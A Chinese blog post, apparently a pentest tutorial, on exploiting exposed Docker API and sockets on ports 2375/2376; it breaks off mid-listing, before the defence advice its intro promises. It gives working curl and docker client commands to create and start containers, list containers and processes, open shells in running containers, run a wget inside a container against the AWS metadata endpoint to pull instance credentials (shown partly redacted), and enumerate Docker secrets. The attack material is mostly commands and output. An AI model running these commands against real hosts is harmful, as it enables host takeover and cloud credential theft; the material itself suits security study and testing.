滥用Docker API与Socket的安全风险与利用技术

本文详细探讨了如何通过暴露的Docker API或Socket进行安全利用,包括容器创建、命令执行、敏感信息获取及主机文件系统挂载等攻击技术,并提供了实际的操作示例和防护建议。

滥用Docker API | Socket

关于滥用开放Docker Socket的说明

本文不涉及从Docker容器中逃逸的内容。

端口:通常为2375和2376,但可以是任意端口。

参考链接

启用Docker Socket(创建实践环境)

https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

暴露Docker API或Socket本质上相当于授予系统上任何容器的root权限。

守护进程默认监听unix:///var/run/docker.sock,但您可以将Docker绑定到其他主机/端口或Unix套接字。

Docker套接字是Docker守护进程默认监听的套接字,可用于从容器内部与守护进程通信,或者如果配置了,还可以从容器外部与运行Docker的主机通信。

所有Docker套接字的魔法都是通过Docker API实现的。例如,如果我们想要启动一个nginx容器,我们可以执行以下操作:

创建nginx容器

以下命令使用curl通过Unix套接字向Docker守护进程的/containers/create端点发送{“Image”:“nginx”}负载。这将创建一个基于Nginx的容器并返回其ID。

1
2
3
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

启动容器

1
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

如上所述,您还可以让Docker套接字监听TCP端口。

您可以通过版本请求验证它是否是Docker。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ curl -s http://open.docker.socket:2375/version | jq

{
  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

或使用Docker客户端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
docker -H open.docker.socket:2375 version

Server:
Engine:
 Version:          1.13.1
 API version:      1.26 (minimum version 1.12)
 Go version:       go1.9.4
 Git commit:       07f3374/1.13.1
 Built:            Fri Dec  7 16:13:51 2018
 OS/Arch:          linux/amd64
 Experimental:     false

这基本上是一个进入容器的shell。

使用ps命令获取运行中的容器列表

1
2
3
4
5
6
7
8
9
docker -H open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                                       COMMAND                  CREATED             STATUS              PORTS                                                           NAMES
72cd30d28e5c        gogs/gogs                                                   "/app/gogs/docker/st…"   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp                   gogs
b522a9034b30        jdk1.8                                                      "/bin/bash"              5 days ago          Up 5 days                                                              myjdk8
0f5947860c17        centos/mysql-57-centos7                                     "container-entrypoin…"   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                                         mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT           "java -jar /app.jar"     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                                       config
3f466b754971        42cb59080921                                                "/bin/bash"              8 days ago          Up 8 days                                                              jdk8
6499013fdc2d        registry                                                    "/entrypoint.sh /etc…"   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                                         registry

进入其中一个容器

1
2
3
4
docker -H open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami
mysql

其他命令

是否有停止的容器?

1
docker -H open.docker.socket:2375 ps -a

主机上拉取了哪些镜像?

1
docker -H open.docker.socket:2375 images

我经常无法让Docker客户端在执行命令时正常工作,但您仍然可以使用API在容器中执行代码。下面的示例使用curl通过https(如果启用)与API交互。创建并执行作业,设置变量以接收输出,然后启动执行以获取输出。

使用curl访问API

有时您会看到2376作为TLS端点。我无法使用Docker客户端连接到它,但使用curl没有问题,可以访问Docker API。

Docker套接字到元数据URL

https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec

以下是访问内部AWS元数据URL并获取输出的示例。

列出容器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
      "/docker_snip_1"
    ],
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 443,
        "PublicPort": 50278,
---SNIP---

列出容器中的进程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 {
  "Processes": [
    [
      "smss.exe",
      "7868",
      "00:00:00.062",
      "225.3kB"
    ],
    [
      "csrss.exe",
      "10980",
      "00:00:00.859",
      "421.9kB"
    ],
    [
      "wininit.exe",
      "10536",
      "00:00:00.078",
      "606.2kB"
    ],
    [
      "services.exe",
      "10768",
      "00:00:00.687",
      "1.208MB"
    ],
    [
      "lsass.exe",
      "10416",
      "00:00:36.000",
      "4.325MB"
    ],
 ---SNIP---

设置并执行作业以访问元数据URL:

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}

获取输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

{
  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"
}

Docker secrets

相关阅读:https://docs.docker.com/engine/swarm/secrets/

列出secrets(没有secrets/swarm未设置)

1
2
3
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

列出secrets(存在时)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
[
  {
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21
    },

    "CreatedAt": "2018-07-06T10:19:50.677702428Z",
    "UpdatedAt": "2018-07-06T10
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计